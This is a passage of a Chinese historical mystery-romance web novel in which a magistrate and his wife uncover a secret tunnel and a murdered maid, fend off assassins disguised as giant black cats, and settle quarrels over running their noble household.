慕容鸾音见她坐在那里浑身发抖就柔声安抚道:“你别怕,大理寺卿萧大人,萧青天你可听说过?现如今萧大人就站在你面前,他知道你的婢女卷了你的钱财跑了,会帮你追回来的。” 范绣娘蓦的抬起头来,睁着一双覆满白翳的眼睛四下里乱找。 萧远峥就出声道:“范绣娘,我方才去你的卧房看了看,你的婢女为了照顾你,应是和你睡在一起的,对吗?” 范绣娘听见萧远峥的声音后,准确的看向萧远峥站立的方向,两手攥在一起,不吱声。 萧远峥见状又道:“我听闻一般眼睛瞎了的人,耳力会十分敏锐,你的婢女失踪时,你可听见什么动静?” 范绣娘慌忙低下头,身子抖的愈发厉害。 萧远峥微翘唇角,又接着道:“方才那两个大娘说,捕快是在衣柜里找到的你,可见你一定听到了。你应该也清楚,凶手把婢女从你身边弄走,或许已经被杀害了,是为了让你自然而然的死亡。你把卧房里涂抹的到处都是屎尿,想必是为了活命,你还是想活下去的。” 慕容鸾音在旁听他如此一说,满心里敬服,“你怎么知道婢女是被弄走,或是被杀害了,怎么就不可能是卷钱跑了呢?” 萧远峥就道:“其一、婢女是孤儿,除了范宅无处可去;其二,此处最值钱的是这座宅子,婢女若果真是背主之人,完全可以养死范绣娘后霸占,养死一个瞎子很容易;其三,婢女却把范绣娘照顾的很好,而且我在她卧房床头柜里发现了……” 就在这时范绣娘忽然道:“您别说了,我信了您是萧青天萧大人。两天前,天擦黑,谷雨在院子里劈柴,起初我还能听见劈柴声,后来就没动静了,再后来我就被打晕了,等我再醒来我就听见有翻箱倒柜声,我害怕就爬进衣柜里躲了起来。除了这些,关于范成德的事情我真的什么都不知道,自从他把我休弃后,只把我当个老猫老狗养着不让人戳他脊梁骨罢了。” 慕容鸾音心里正好奇萧远峥在她床头柜里发现了什么呢,又听她把自己说成老猫老狗,禁不住就替她鸣不平,“你为供他读书熬瞎了眼睛,他本该把你供在堂上,却让你下了堂,何其忘恩负义,你瞧,老天爷都看不过眼,终究让他遭了报应。只可恨,不知道他信了邪教还是佛教,甘心情愿被人驱使,他死了,驱使他的人却怕你知道什么,有心置你于死地,你一个人住在这里怕是危险,不如你跟我走吧,我是萧大人的妻子,也是郧国公府的世子夫人,庇护你绰绰有余。” 范绣娘嘴唇嗫喏,犹豫不决,忽的捂住脸哭道:“我的儿子们死了,谷雨怕是也死了,我一个瞎子还有什么好活的,昨天晚上我都摸到井沿上了,又怕井水浅淹不死,怕自己掉在井里活活饿死,怕这儿怕那儿,就是下不去决心。” 慕容鸾音陪着落泪,哽咽道:“我知道你的难处,想活下去又不丢人,不必如此。我会些医术,我给你把把脉吧。” 说着话,走到范绣娘面前蹲下,拿下她被眼泪打湿的手就摸脉。 冬青见状,赶忙去屋里找了一张干净的小方凳端来,送到了慕容鸾音臀下。 范绣娘感受到慕容鸾音柔软的手指在她手腕内侧按压,又闻到自她身上透出的温软和煦的花香气,心头触动,哭道:“我知道你们想从我这里知道点什么,可我真的是没用的人,给不了你们什么有用的。” 慕容鸾音叹气道:“你只当我是在积德行善,你坦然受着便是,不知道就不知道吧。” 范绣娘使劲想了想,犹豫着开口道:“我心里一直怀疑一件事,范成德活着的时候我还指望他养着就一直藏在心里,现如今他死了,我倒是可以说给你们听。” 萧远峥立时站直身子,“快说。” “约莫是十六年前,我怀着晔儿的时候,隔壁搬来一户人家,说是贩卖皮毛料子的商人,商人有个守寡的女儿叫秋嫣然,和我同岁,起初打着和睦友邻的旗号来找我说话,三两次后又说要和我学刺绣,巴结着我,和我亲亲密密如同手帕交,再后来就和范成德勾搭上了,我才知道这个贱人醉翁之意不在酒,有一天晚上我就听见书房门嘎吱嘎吱乱响,那晚上又不刮大风怎么响成那样呢,我就走到门口扶着门框细听,那时候我的眼睛一到了晚上已经完全看不见了,我就隐隐听见书房里传来秋嫣然的说话声,那贱人娇滴滴的说‘下回你去找我,下雨天那地道里渗水,把我的绣鞋都弄脏了’。” 萧远峥听到这一句,蓦的转头看向西厢房,问道:“范成德每月给你送东西,送的东西都放在何处?” 范绣娘一指西厢房,“都放在那屋里,原是他的书房。” 慕容鸾音连忙道:“你接着说,不刮大风,门怎么会响呢?” 范绣娘就木着脸道:“他两个抵在门上干好事。” 慕容鸾音楞了一下才反应过来,脸色泛红,黛眉轻蹙佯装认真思考,“所以你一直都怀疑你这宅子里有范成德和秋嫣然偷情的地道?” 范绣娘点头。 那边厢,萧远峥已带着赵荆阎大忠去西厢房找地道入口了。 萧远峥已是完全想明白范成德把贪污的大头赃物是通过什么手段运送给幕后之人了。 他每月给范绣娘送的东西是贪污所得的金银财宝,送到西厢房地道,地道那头有人接应,再用装满米面粮油等物的相同的大板箱替换,如此神不知鬼不觉完成了赃物的运送。 那婢女谷雨,怕也是如此被弄走的。 30-40 第31章 第031章不回来了待…… 待得萧远峥再入西厢房,立时就把铺在地上的 那块湛蓝色厚毡毯掀开了,毡毯之下是木地板,用剑鞘敲击后却无空鼓声,随即又发现架子床并非靠墙摆放,而是与墙壁隔出了一步的距离,再用剑鞘敲击此处地板就发现了蹊跷之处,当他拔出长剑用剑尖撬开一片木板时,下面忽的有一团黑影一闪而过,如同鬼魅。 萧远峥当即将覆盖在入口之上的所有木板掀开,率先跳了下去,赵荆阎大忠紧随其后。 慕容鸾音原本是站在纱幔处旁观的,见架子床后面忽的没了萧远峥主仆三人的身影,连忙走过去一看,见是一个水缸口那般大的黑洞,呼呼的向上冒凉风,心头不由得一紧,面上就带出了担忧之色。 冬青见状就道:“姑娘,我跟下去看看。” 慕容鸾音又怕她们贸然跟下去会给萧远峥徒添掣肘,想了想就有了主意,“既是和隔壁寡妇偷情,那这地道另一个出口必然在隔壁,我们去隔壁敲门,不,踹门去!” 说着话就走了出去,嘱咐碧荷留下看顾范绣娘,带着冬青就去了隔壁门上。 这一户人家的黄泥石墙竟比别人家高出一半来,门也高大结实,冬青虽有些力气,但踹了几下竟是纹丝不动,还是赵荆来开的门。 “如何?这家里的人呢?” 赵荆后退两步拱手道:“我们从假山下的洞口里上来就发现,这家里一个人都没有,是座空宅。” 慕容鸾音也发现了异常,围墙高大,院子也大,一眼望去中央位置竟建了一座精致的三间轩室,廊檐游廊俱全,轩室前面还有一方小池塘,池塘里有几枝残荷,数条锦鲤。 她见萧远峥进了轩室,也提起裙摆快走两步跟了进去。 入内便见右侧是卧房,摆着一张雕花架子床,挂着浅紫色水仙花小团花的罗帐,还有梳妆台,绣墩,不知多久无人居住了,帐幔等绣品都有些褪色,桌台上还有一层灰尘,房梁等处结了蛛网。 此时萧远峥拉开梳妆台上的小抽屉,从里面找出一个绘着水仙花的方形白瓷盒,打开一瞧里面还有半盒黑红色的粉末,捻出一点来查看,正思索这是什么东西呢,慕容鸾音探头一瞧就道:“这是凤仙花粉,用来染指甲的。” 慕容鸾音伸出自己天然带一点粉的指甲,遗憾道:“我也想留长指甲,染指甲,但自小学针灸之术,长指甲妨碍捏针、施针,爹爹不许。曾居住在这里的一定是个很精致的美人。” 萧远峥一面从罗帐上扯下一片料子把白瓷盒包起来带走,一面道:“你猜对了,曾住在这里的秋嫣然不止脸蛋要美,还要有心计,有口才,不然何以媚惑的范成德把她视作观音。” “你是说那面影壁上的观音向书生洒甘露水,观音是指秋嫣然,虔诚跪在地上的书生意指范成德本人?” “是。范成德一路考学,中秀才、中举人都是一次过,这使得他踌躇满志,自命不凡,但是再向上考进士时三次名落孙山,使得他受到了严重打击,意志消沉,十六年前他二十五岁,被幕后之人选中,对他施展了美人计,有了这位美人之后,在幕后之人的操作下,他二十六岁被张阁老相中,入了张氏族学,经张阁老点拨,二十八岁考中榜眼,此后官途一路顺风,明面上都以为是他娶了张阁老爱女,被张阁老一路托举,但实际上张阁老托举自己亲生的嫡长子都费劲,由此可证范成德的确另有恩主。” 慕容鸾音见他并非看着自己说,而是目光放空看向窗外,就知他是在自己梳理案情,细细听他说完之后就道:“依你说,十六年前范成德不过是个屡考不中的穷举人,那幕后之人贪图他什么呢,又送他美人又送他锦绣官途,真是下血本了,范成德何德何能。” 这也正是萧远峥想不通的一点。 就在这时,忽听得阎大忠在外喊了一声,“世子爷,水井下发现一具女尸。” 萧远峥听说,抬脚就走了出去,他见慕容鸾音要跟着就道:“井下女尸应该就是婢女谷雨,泡了两天的尸体必然十分恐怖,你别看了,去隔壁把范绣娘领来认尸,再叫人去把此处里甲找来。” 慕容鸾音听劝,自己回了隔壁范宅,指派冬青去找里甲。 范绣娘听说隔壁发现了女尸,眼泪一下子就落了下来,摸索着站起来就挣着要去。 慕容鸾音见她如此动情,感慨她主仆情深,就与碧荷一块搀扶着她,慢慢走了过来。 彼时阎大忠在井下,将尸体托出水面,井上赵荆摇辘轳,二人合力,刚好把尸体捞出。 慕容鸾音乍然看了一眼就连忙把眼睛闭上了。 范绣娘却哭道:“是不是穿着一件翠绿色茧绸印花褙子,花是紫色缠枝牵牛花,求你们好心告诉我。” 碧荷大着胆子看了两眼,道:“是。脚上还有一只青底鸳鸯绣鞋。” 范绣娘身子一软瘫在地,呜咽道:“是她,是谷雨。” 慕容鸾音叹气,想着她们这对主仆相依为命这么多年,情分非比寻常,此时此刻也没什么话能安慰她了。 那边厢萧远峥在听见范绣娘确认了尸体就是婢女谷雨之后,就不急着验尸了,而是在想在地道中追丢了的那团黑影,就在这时他忽然听见慕容鸾音惊呼“好大一只猫”,他顺着她的目光望去,远处屋顶上却什么都没有。 慕容鸾音见他眸光中有质疑,立时羞恼,叉腰道:“你那是什么眼神,难不成以为我是故意说谎博取你的注意吗?呸,早不稀罕了。” 萧远峥定定看着慕容鸾音那副娇蛮鲜妍样子,忽的大步走向她,掐腰抱起,托住臀就向外走去。 慕容鸾音不防备他在这青天白日下竟对她有如此不雅动作,脸色羞红,正要发怒,就听他在她耳边低声问,“什么颜色的猫?” 慕容鸾音被他喷在自己耳朵上的灼热鼻息弄的心口窒了窒,这一窒怒火就发不出去了,又见他脸上神色肃穆正经,就也配合着低声道:“黑色,好大,大猞猁似的。” “好,我知道了。范绣娘是重要人证,我需带她到大理寺保护起来,你别管了,我先送你回府,谨记,回去后莫要再出来。” 慕容鸾音浑身一绷,莫名就想到遇见过的那只“白狐”。 此时慕容鸾音整个身子被他抱在怀里,两条腿垂在他腰侧,她这般一绷紧,如同夹了他一下似的,令他心口痒荡了一下,脚步一顿又大步跨出门槛,见冬青带了一个老翁回来就道:“进去把碧荷叫出来,你们回府去。” 冬青愣了愣,连忙应“是”。 萧远峥把慕容鸾音送回府后,去静园交待了观棋几件事,换了身公服就又骑马匆匆离府。 却说慕容鸾音回到瑞雪堂后,想到那“白狐”自焚时的可怕之处,又想到自己看见那只“大黑猫”时,“大黑猫”正盯着她。她心想,定是这两日她和萧远峥在外的举动发挥作用了,幕后之人认定她是萧远峥的“挚爱”,故此准备对她动手。 好嘛,怪不得突然在青天白日里抱她,原来也是一出戏。 好好好,此番若果真是她被抓起来威胁萧远峥,她对洛淑仪就再也不用愧疚了。 “冬青,你赶快骑马回慕容家,问问我哥哥,他想的那个金丝软甲做成了没有。” “是。” 天擦黑,慕容鸾音吃完晚食,谨慎起见也不去游廊上散步了,只在厅堂上坐着饮茶,这时就见观棋、南柯、流星、霓生四个小厮合力抬了一个好大的楠木箱子进来。 慕容鸾音当下就问道:“箱子里装的是什么?” 观棋上前拱手,笑道:“回夫人,世子爷说放的是账本钥匙对牌等物,世子爷还说,您是当家主母,中馈之权必须在您手上,岂有让别房夫人代劳的道理,请您看在未来嫡长小公子的份上重掌中馈。” 慕容 鸾音听他说什么“嫡长小公子”就气笑了,但仔细想了想,这郧国公府未来必定是她儿子的,她的确该为孩子守护好家业,就点头道:“放下吧。” 谁知,这四个倒霉催的小厮却把箱子抬进了碧纱橱。 “观棋,你这猢狲,什么意思?”慕容鸾音重重放下茶杯,黛眉一皱,故作恼怒。 观棋连忙赔笑道:“世子爷说了,今夜要在大理寺审案就不回来了,等他明日回来亲自打开箱子把府内支取银钱的花押印章拿给您。” “不回来了……”慕容鸾音喃喃重复一句,心想,他就那么相信府内的防卫吗?可是,连孙鼎那种无赖光棍都能混进她的瑞雪堂。 说到底,无非是心中无她,就浑不在意而已。 倘若今时今日是洛淑仪的生命受到威胁呢? 呵!她发誓,一旦生下嫡长子,就与他分院别居,形同陌路! 没良心的狗东西! 第32章 第032章张网捕猎“阿音妹妹,开…… 是夜,月明星稀,秋风肃杀。 慕容鸾音听着窗外风吹树叶哗哗的响声,绷着身子,悬着心,窝在绣被里,睁着眼睛一动不动。 就在这时忽听得“咚咚咚”三下敲窗声,紧接着就是萧远峥压低的清冷的声线,“阿音妹妹,开门。” 慕容鸾音嚯然坐起,靸上鞋就去把门打开了,悄声怒斥,“说了,不许再叫我阿音妹妹。” 萧远峥闪身进来,快速将门拴上,抱起慕容鸾音直奔暖阁。 慕容鸾音知他今夜有谋划,不敢挣扎声张,直至被压到鸳鸯枕上才一把揪住他前襟,得意道:“我若不去看你那个大的过分的楠木箱子,今夜你休想进来!” 萧远峥一臂撑在她颈侧,一手握住她揪着他衣襟的小手,低声笑道:“我知你一定会自己去拿花押印章。” 慕容鸾音轻哼,“你知道就好,我才不稀罕你亲手拿给我。” 萧远峥嗅着她身子沁出的花香气,喘息渐深,星眸灼灼,“你想知道范绣娘床头柜里放了什么吗?” 慕容鸾音杏眸微睁,诚实道:“想,快说。” “给我。” “给……”慕容鸾音呼吸的节拍一霎错乱了,不敢置信的瞪他,“弄了一箱子兵器放到碧纱橱,我还当你要将计就计瓮中捉鳖,没想到你这般急!” “你不急,可是想挽留我?” 慕容鸾音顿怒,兰胸起伏,杏眸睁大圆溜溜的瞪着他,心想,倘若我不给,倒真显得我不想生孩子,想多留他在瑞雪堂似的,当下就道:“那你先说,范绣娘的床头柜里放了什么?” “可供戴在腰上的假玉i势。” 话落就在慕容鸾音耳后落下灼热一吻。 慕容鸾音恍然,原来她们还有这样一层关系。 窗外,新植的芭蕉在风中摇曳款摆,蕉下的青瓷山水大鱼缸里,浓绿的铜钱草下有一对锦鲤,一条乌黑,一条赤红,乌黑的锦鲤把赤红的锦鲤一忽儿压在身下,一忽儿又托出水面,两鳍紧拥,赤红锦鲤似是受不住那般的抵死纠缠,露出水面来大口喘息。 月上中天,慕容鸾音化作一滩春水,撑不住闭上眼睛睡了,萧远峥抹去她眼角一滴泪痕,为她盖好被子,掖紧床帘,只穿着一件交领雪缎衫离开暖阁去了碧纱橱,更衣后便打开楠木箱子,从里面拿出了自己的弓箭和长剑,又将三段枪身组装成了一杆红缨蟒纹银枪。 弄完之后,便将三样兵器都拿到了厅上搁在红木罗汉床上,他就坐在一旁,自茶奁中提起茶壶倒了一杯温白水一口饮尽,便又找来一块巾帕,拔出长剑来细细擦拭。 苍冷的月色透过银红纱落了进来,厅堂上,以莲花香炉为界,靠近门的那一半灰白泛红,另一半漆黑,萧远峥隐在黑暗中,寂静无声,如同阎王修罗一般。 月下西楼,他也不过是转动了几下手腕,仍旧如隐在暗中狩猎的百兽之王。 慢慢的,月归山海,天地间一片漆黑,到了黎明前最黑暗的时刻。 门栓发出轻微的拨动声,萧远峥蓦的睁开眼,右手摸上了弓,左手抽出了箭。 就在门被推开一条手指宽的缝隙时,门外一双赤红眼睛与门内萧远峥的一双清冷星目对个正着,电光火石,破空声响起,羽箭疾射飞出。 大黑猫被一箭射穿,发出凄厉婴啸,倒飞入庭院,于半空中爆射出一团飞针,紧接着另外一只大黑猫从黑暗中窜出,抱着梁柱迅疾爬上屋顶嚎哭,其声如婴。 慕容鸾音惊醒过来,就见他持弓背箭追了出去,撂下一句“关紧门窗”,立在庭中又向那只嚎哭的大黑猫射去一箭,而后攀着梁柱一跃就飞上了屋顶。 慕容鸾音的手比脑子要快,“嘭”的一声就把门关了还上了门栓。 婴儿嚎哭声也把睡在耳房等值房里的丫头嬷嬷们惊醒了,但此前慕容鸾知道萧远峥今夜有谋划,就提前告诉他们,夜里无论有什么动静都不许出来。 故此,胆大的就透过窗纱向外看,胆小的就缩在床榻上瑟瑟发抖。 却说萧远峰,白日里观棋来寻他,告诉他是萧远峥的命令,让他弄几张渔网,夜里若听见什么动静就带着府中黑大等家丁出来,张网捕杀死士,他一听就紧张重视起来,睡在外院,和黑大等家丁一夜枕戈待旦,眼瞅着天快亮了,他眼皮子打架刚要睡,忽听得仿佛鬼婴嚎哭的怪声,一下子惊醒过来,大喝一声,“起来!张网捕猎!” 黑大拿起银环大刀率先冲出房门,萧远峰手持长枪紧跟而出,听得屋顶上有动静,就对黑大道:“助我一臂之力。” 黑大当即往墙根下扎下马步,“二爷请。” 萧远峰快跑两步,踩着黑大肩膀,借助黑大猛地向上顶的力道,跃上墙头,跑向屋脊,就见萧远峥正在追射一只比普通猫大三四倍的猫状四脚兽,当即大喊一声,“大哥,我来助你。” 就在这时,那大黑猫反而猛地奔向萧远峰,萧远峥见状大喝“退下”,与此同时毫不犹豫向萧远峰射去一箭。 萧远峰见状瞠目惊骇,为避羽箭,脚下一滑滚下屋顶。 几乎就在萧远峰滚下屋顶之时,那大黑猫挺起胸膛,拉开胸前机关爆射出一团飞针。 萧远峥再度拉弓搭箭,一箭射中其后腿。 大黑猫嚎叫一声,迅速逃向府外。 彼时,天色微明,街上已有三两行人走动。 萧远峥追着血迹到了一处四岔路口就失去了大黑猫的踪迹,他站在四岔路口环视一周,向西通往平康坊,向北是宫城,向东那一片皆为权贵官宦的宅邸,它到底逃向了哪一条路? 就在这时一辆不起眼的青绸马车从平康坊的方向快速驶来,萧远峥星眸一眯就站到路中央拦住了去路,“大理寺奉旨追凶,车上是谁,下车接受检查。” “吁——” 赶车的车夫驾停马车,直起身子来就怒声喝骂,“你是什么东西,敢拦我们郯国公的马车,速滚!” 萧远峥剑眉微挑,自怀中掏出一块金牌,“若车内果真是郯国公,那他一定认得此物。” 车夫见那金牌,赶紧揉揉眼睛,再去细看萧远峥,见他高梳马尾,戴着一顶花丝嵌宝金冠,身上穿的是窄袖锦袍,脚上踏着粉底皂靴,身材伟岸,相貌不俗,立时“啪啪”给了自己两巴掌,滚下马车往地上一跪就道:“您、您是大理寺卿萧大人,萧大人,小人狗屎糊了眼了,没认出是您,小人罪该万死,给您磕头了。” “咚咚”的磕头声引得车内人叹了一口气,带着宿醉才醒的嗓音开口道:“世侄,既是你想查就进来查吧,总归我这车里只有我自己。” 萧远峥自然不客气,推开车门向内一望,就见郯国公玉在山正歪靠在引枕上,眼睛半睁,满身的酒气。 “如何,我这简陋小车里可包藏罪犯了?” 萧远峥拱手赔笑,“敢问您,这是从哪里来又到哪里去?” 玉在山没好气的道:“看在你揣着金牌的份上,我让你搜了,别给老子蹬鼻子上脸。” 话落就喝令车夫上车继续驾车。 萧远峥只得退下,目送马车疾行而去。 平康坊,怜玉楼,头牌闺房内,一个白发少年怀抱着一只大黑猫正在哭,大黑猫哇哇婴啼,白发少年频频点头,“我知道了,我会为你们报仇的。” 话落,一边落泪捂住大黑猫的嘴一边掏出一把短刀来,精准的捅进它的心窝子,一刀毙命,没让它受一点罪。 少年抚着大黑猫乌黑的皮毛,低声哭道:“今日你的劫难渡尽了,升仙去吧。” 彼时,天光大亮,朝阳高升。 郧国公府内,萧远峰敲响了挂在二门上的云板,敬告各房无事了。 瑞雪堂院外,观棋流星持剑守卫。 堂上,碧荷茯苓等大丫头陪侍在侧,慕容鸾音坐在红木罗汉床上惊魂未定,直到看见萧远峥回来才一下子站起来,走出房门,上下打量他一回,这才指着死在庭院里的大黑猫道:“你快看看吧,你走后我也没让她们乱动,只让把射在各处的长针取了下来,针上涂了毒,你小心。” 萧远峥把弓箭交给观棋,抽出一支来走向黑猫尸体,用箭拨弄,企图把里面的人和猫皮分开,赫然发现皮肉和猫皮竟是长在一起的。 慕容鸾音也发现了,骇然道:“我、我本以为就像黑伯说的那样,是人披了缝制的猫皮,我还猜想里面应该是个侏儒死士,竟然不是吗?它、它还发出那种仿佛婴孩撕心裂肺的哭声,这到底是什么东西,前有白狐后有它,我们是捅了什么妖怪鬼魅窝了吗?” 萧远峥攥紧手中箭,心中隐隐有种预感,是那个组织又找上门了,于是缓缓抬眸定定看着慕容鸾音,“怕吗?” “当然怕了,这东西这般诡异。” “可你任性行事,怕也没用了。” 慕容鸾音顿时又气又委屈,“我昨夜还不够帮你吗?其一,我若没听懂你的暗示,你根本进不了我的门;其二,你出去捕杀怪物让我关好门,我也立即就关上了,我更没让人乱动怪物尸体,一点乱都没给你添。你凭什么说我任性!” 第33章 第033章世子之死萧远峥…… 萧远峥见她杏眼含泪,连忙起身走向她。 慕容鸾音却后退两步,抬手制止,“我早看透你了,无非就是,在你眼里,我做什么都是错的,但我告诉你,我知道自己在做什么,并做好了为此付出代价的准备,生死由己,与人无尤。此番,多谢你有良心,救我一回。你也放心,我不会自作多情。” 慕容鸾音的目光越过他肩膀,看向走进来的萧远峰,背过身去一抹眼睛就厌烦道:“你忙你的去吧,把尸体带走,我也忙着呢。冬葵,让人把院子清洗干净;冬青,你带人去把前面的小花厅洒扫铺陈一番,今日我要去那里理事。茯苓,你去大厨房提早食,今日我在小花厅用饭。碧荷姐姐,你进来,与我重新梳妆更衣。” 四婢一齐应“是”,各领差事而去。 萧远峥见萧远峰寻他有事,又想着大理寺还有一堆事情要处理,只得带着怪尸走了。 却说各房,夜里都听见那渗人的动静了,听得说中馈之权又回到了慕容鸾音手上,小花厅又打开了,二夫人、三夫人纷纷遣人来问。 二夫人派来的是凤蝶,三夫人派来的是绿玉,峰二奶奶派来的是月桂,此时三个大丫头却都被蕊儿果儿拦在廊檐外,蕊儿端着架子道:“有天大的事儿,都要等我们世子夫人用完了饭再说。” 凤蝶跟着二夫人也是当过家理过事的,在府里很有几分体面,未曾想今时今日竟被一个二等丫头当面下脸子,立时就故意扬声道:“我是二夫人指派来问世子夫人话的,哪有长辈问话,晚辈还大咧咧坐在那里吃饭让等的道理,我回去就如实告诉二夫人,且得让世子爷知道知道。再者说,你一个二等的丫头,怎敢对我这一等大丫头不敬,若是在我们二房,我早一个大耳瓜子扇你了。” 蕊儿正要回怼,这时见茯苓出来了,就退后一步让出了位置。 绿玉就笑道:“茯苓,你们瑞雪堂怎么教的小丫头,有些不知上下了。” 茯苓当即冷笑道:“竖起你们的狗耳朵来听好了,第一件事,昨夜那动静是刺客弄出来的,世子爷杀贪官堆京观,在外头不知道得罪了多少狠人,有一回就有二回,若不想被牵连可以分家搬出去,和郧国公府划清界限便是。” 凤蝶、绿玉、月桂听了,都震惊在那里,她们不过是奉命来问问,世子夫人是疯了吗,竟给了这样一番重话。 “第二件事,传我们世子夫人亲口说的话‘既我为世子夫人,当家主母,瑞雪堂出去的阿猫阿狗都给我敬着,若瑞雪堂的人有跋扈在先的,告到我面前,我自会处置’。” 凤蝶又惊又气,少不得使出杀手锏来,“世子夫人这般不敬长辈,行事强硬,就不怕世子爷知道吗?” 茯苓冷笑连连,“随你们告去,我们世子夫人说了,若能把她告倒了,让世子爷把她休了,她大庆三天。你又说什么‘不敬长辈’,我们世子夫人头上两层长辈也没有个二夫人,你们若不服就分家出去,再若不服就分宗,随你们怎么选。” 凤蝶顿时气个倒仰。 绿玉月桂相视一眼,各自心里咯噔一下子,不禁想到,世子夫人这是换了一副心肝吗?以前不是最在乎世子爷的吗? “第三件事,从今往后,大厨房一日三餐都只有例菜,各房各主子若有另外想吃的,付钱另买。再想似从前那般随意点菜,随意糟践,损公肥私,却是不能了!” 却原来是昨日峰二奶奶孙香玉仗着怀孕,想吃佛跳墙,大厨房说要做佛跳墙需得提前六七天泡发海参、花胶等干货,又说最后一份虫草花给三夫人煲汤了,也需采买,请孙香玉等几天,她就了不得了,说大厨房狗眼看人低不拿她当主子,就挺着肚子亲自带着丫头把大厨房砸了。 茯苓看着月桂冷笑,“我们世子夫人让你给峰二奶奶带句话,她趁着府中无人主持中馈这几日,猴子称霸王做下的那几件事,看在峰二爷的面子上,既往不咎,可打从今日起,她再敢横行霸道,那就请家法,若请家法还打不掉她的气焰,就请她回娘家待产去吧,郧国公府装不下她这尊大佛。” 月桂被说的撑不住,哭着跑了。 凤蝶绿玉素来知道瑞雪堂的茯苓是个口齿伶俐,擅机变的,但此前她们只要说出世子爷来弹压,这个茯苓就蔫巴了,今日怎么像是解了绳套的疯狗似的,无所畏惧。 茯苓见她们震惊傻了似的,还站着不走,正要再说,抬眼瞧见不远处竹丛下站着两位主子奶奶,小脸一红,连忙福身行礼,“见过嵘三奶奶,见过岱四奶奶。” 龙姽婳和罗慧心一前一后走上前来,龙姽婳笑着打量茯苓一回,就道:“进去通禀一声,就说我和岱四奶奶来瞧她。” 茯苓连忙道:“您二位进去便是。” 龙姽婳摇摇头,“既是已经开始学着立规矩了,要做就做到底,不必为我们坏了她的规矩。她是当家主母,早该如此了。” 那边厢碧荷赔笑着迎出来,“二位奶奶快请进来吧。” 龙姽婳罗慧心入内一瞧,花厅上已与过去截然不同。 当中摆着一张四面平绿云母面红木大案,案后配着一张红木大圈椅,搭着杏红色花鸟纹夹棉椅袱,铺着一块毛茸茸白狐皮面坐垫,摆着一个圆墩墩的湖绿色倚枕,上面绣着盛开的绛红色山茶花。 再看那大案上摆的,对牌皆插在一个梅青色小画缸里,一串串钥匙整齐排列都放在一个螺钿黑漆长方匣里,账本一摞摞堆着,笔墨纸砚俱全,只是人去哪儿了呢? 碧荷向东边 次间里一指,悄声笑道:“早早应下了要为您制香,至今都没完成,不好意思见您,在那边榻床上歪着呢。” 龙姽婳走过去,绕过一面屏风果见慕容鸾音正歪在那里,拿一把团扇遮着脸,顿时笑道:“那日我不过是顺嘴一说,你顺嘴一应,我都忘了,你竟当真了,快起来吧。” 说着话拿开慕容鸾音脸上的团扇,就见一张艳盈盈的笑脸。 慕容鸾音坐起来就笑着叹气,“我也不知怎么弄的,一日日的竟没个空闲的时候,现如今这烫手山芋又到我手上了,我一瞧那些账本子就头疼,都是些琐碎家务事,我宁愿背一整本的医书都不想翻一下,奈何我这身份又推脱不得。” 说着话站起身,一手拉一个,把龙姽婳和罗慧心带到了窗边茶桌上。 彼时,碧荷已在桌上摆好了三盏茶,又放下了一个装满蜜饯干果的海棠式大攒盒。 宾主坐定,龙姽婳就笑道:“我也不耐烦弄这些琐碎家务事,我宁愿把自己关在屋里画一天的画,好在我们三爷是个细致的,我们那院里的一切琐碎都是他的。” 慕容鸾音想到他们夫妻情深,琴瑟和鸣,少不得心里羡慕一回,笑道:“你是得自在了,倒是为我想个主意。” 龙姽婳看向罗慧心,慕容鸾音也随着她看向罗慧心,但见她头上戴的,只一支珍珠流苏簪还算能看,脖子上、手腕上空无一物。 罗慧心被她二人看的不自在,“我、我脸上有东西?” 龙姽婳笑道:“我为你举荐一个能人如何?” 慕容鸾音想到罗慧心是家中长姐,经岱四爷一事她表现出的心性和风骨,心里一喜就道:“龙姐姐,我知你说的能人是谁了,远在天边近在眼前,是吗?” 龙姽婳含笑点头,端起茶杯来浅啜。 罗慧心愕然,慌忙摆手,“我算什么能人。” 慕容鸾音连忙握住她一只手,笑道:“我想到了,东家尚能聘请掌柜的经营店铺,我就也能聘请你替我管家,罗姐姐,我诚心聘请你做我的管家大娘子,不许拒绝,且帮我一阵子。” 罗慧心慌的站起来,“我算哪个牌面上的,这如何能行,世子夫人别折煞我了,快放我走吧。” 龙姽婳却笑道:“我说话不耐烦拐弯抹角的,我直说了,岱四爷是个没能为的,到老都是个领月钱的纨绔,你不为自己打算,也要为你院里的孩子们打算,我知你在做绣品卖,有一日你院里的画屏拿了一匣绣好的锦帕,被我碰见了,我觉着花样子别致就买下了,嘱咐画屏不告诉你是我买的,你的绣品以我的眼光看,是有匠气的,这意味着你不能成为刺绣大家,绣品卖不上价,你又要弄孩子,想必夜里点灯熬油,你的眼睛撑得住几年?” 慕容鸾音见罗慧心面带窘迫,连忙轻推龙姽婳一下,“在你眼里,和绘画沾边的,哪个不是匠气的。” 龙姽婳笑道:“你放心,她不是心窄的,若是个心窄的,我才不浪费口舌。慧心,你真不如给她做管家大娘子,她既是个财主,又是这国公府未来的女主人,倘若将来分家,你是二房庶子媳妇,是要跟着二房搬出去的,你细想想,跟着二夫人,二夫人可会管你?二老爷可会为你的麒哥儿铺路?” 罗慧心掀唇冷笑,“今日,话说到这个份上,我也不怕你们笑话,我们院子里岱四、我、宋姨娘和丫头锦书,都需要吃药治病,若非世子爷心细,特意拨出了买药钱,我们怕是连药也吃不起的。二老爷二夫人至今没过问过一句。” “是了、是了,我开的方子里面有一味老山参,只这一味药,你们四个人吃就得不少钱。” 罗慧心想到慕容鸾音对她的恩情,当下就有了决断,站起身,郑重其事的福身一礼,笑道:“见过东家,还请东家与我议定每月聘银。” 慕容鸾音抚掌一笑,将她搀起来就道:“龙姐姐做个证人,每月二十两如何?” 罗慧心心想,我一匣十张锦帕,绣了两个月,也不过才卖十两银子,她一个月就给我二十两,再也不用熬夜费眼,眼睛都保住了,如何让人不心动,当下笑道:“好!但是,你需得再给我指派一个镇山太岁,我瞧着茯苓就不错。” 龙姽婳笑道:“再没有比茯苓那丫头更合适的了,方才在门外,我听茯苓替你说出的那些话,我心里都跟着痛快极了。” 慕容鸾音哪有不答应的道理,当下就把罗慧心拉到圈椅上,压着她安安稳稳坐着,又把一个账本打开放在她面前,赔笑道:“择日不如撞日,就从今日开始吧。” 罗慧心哭笑不得,“您容我回去准备准备,麒哥儿还等我回去喂饭呢。” “我这就让人去把麒哥儿接过来,再让人把西次间拾掇成既可歇息又可以给孩子玩耍的,让你既可以看顾孩子又不耽误理事。龙姐姐,咱们到东市逛逛去,给孩子们买些玩具回来,如何?罗姐姐,你告诉我麒哥儿都喜欢什么样的玩具,我都买回来。” 